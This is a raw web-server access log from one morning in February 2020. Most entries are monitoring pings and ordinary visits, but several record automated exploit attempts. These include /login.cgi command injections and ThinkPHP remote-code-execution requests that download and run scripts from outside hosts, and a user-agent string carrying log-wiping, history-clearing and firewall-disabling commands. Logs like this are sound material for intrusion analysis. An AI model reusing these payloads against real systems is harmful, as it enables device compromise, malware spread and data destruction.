212.91.246.72 - - [18/Feb/2020:08:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.211.242.147 - - [18/Feb/2020:08:29:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.23.20.8 - - [18/Feb/2020:08:30:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:08:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.225.21.27 - - [18/Feb/2020:08:31:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:08:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.240.68.235 - - [18/Feb/2020:08:31:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:08:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.236.142 - - [18/Feb/2020:08:33:29 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:29 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:31 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:32 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:33 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:33 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:34 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.236.142 - - [18/Feb/2020:08:33:34 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [18/Feb/2020:08:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.236.142 - - [18/Feb/2020:08:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
109.125.166.164 - - [18/Feb/2020:08:34:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:08:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.222.58 - - [18/Feb/2020:08:36:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:08:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [18/Feb/2020:08:40:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:08:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.102.51.138 - - [18/Feb/2020:08:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.164.35.72 - - [18/Feb/2020:08:46:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [18/Feb/2020:08:46:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:08:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [18/Feb/2020:08:46:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [18/Feb/2020:08:46:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [18/Feb/2020:08:47:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:08:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [18/Feb/2020:08:48:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:08:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.240.68.235 - - [18/Feb/2020:08:49:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
134.35.155.161 - - [18/Feb/2020:08:50:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:08:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.95.191.1 - - [18/Feb/2020:08:51:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
148.71.44.68 - - [18/Feb/2020:08:51:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.95.191.1 - - [18/Feb/2020:08:51:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:08:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.23.237.156 - - [18/Feb/2020:08:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:08:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [18/Feb/2020:08:59:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [18/Feb/2020:08:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.12.174 - - [18/Feb/2020:09:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:09:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.141.105.35 - - [18/Feb/2020:09:07:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:09:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [18/Feb/2020:09:11:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:09:11:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:09:11:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:09:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [18/Feb/2020:09:11:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
196.52.43.54 - - [18/Feb/2020:09:11:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
183.105.27.14 - - [18/Feb/2020:09:12:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:09:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:09:20:47 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:09:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.117.50.39 - - [18/Feb/2020:09:28:23 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [18/Feb/2020:09:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [18/Feb/2020:09:31:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [18/Feb/2020:09:32:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
177.55.158.34 - - [18/Feb/2020:09:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.152.6.58 - - [18/Feb/2020:09:32:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [18/Feb/2020:09:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [18/Feb/2020:09:32:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [18/Feb/2020:09:32:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [18/Feb/2020:09:32:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [18/Feb/2020:09:33:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [18/Feb/2020:09:33:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [18/Feb/2020:09:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.119.37 - - [18/Feb/2020:09:36:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:09:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.100.81.132 - - [18/Feb/2020:09:38:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:09:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.93.53.162 - - [18/Feb/2020:09:40:41 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:42 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:43 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:44 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:48 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:51 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:52 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.93.53.162 - - [18/Feb/2020:09:40:56 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
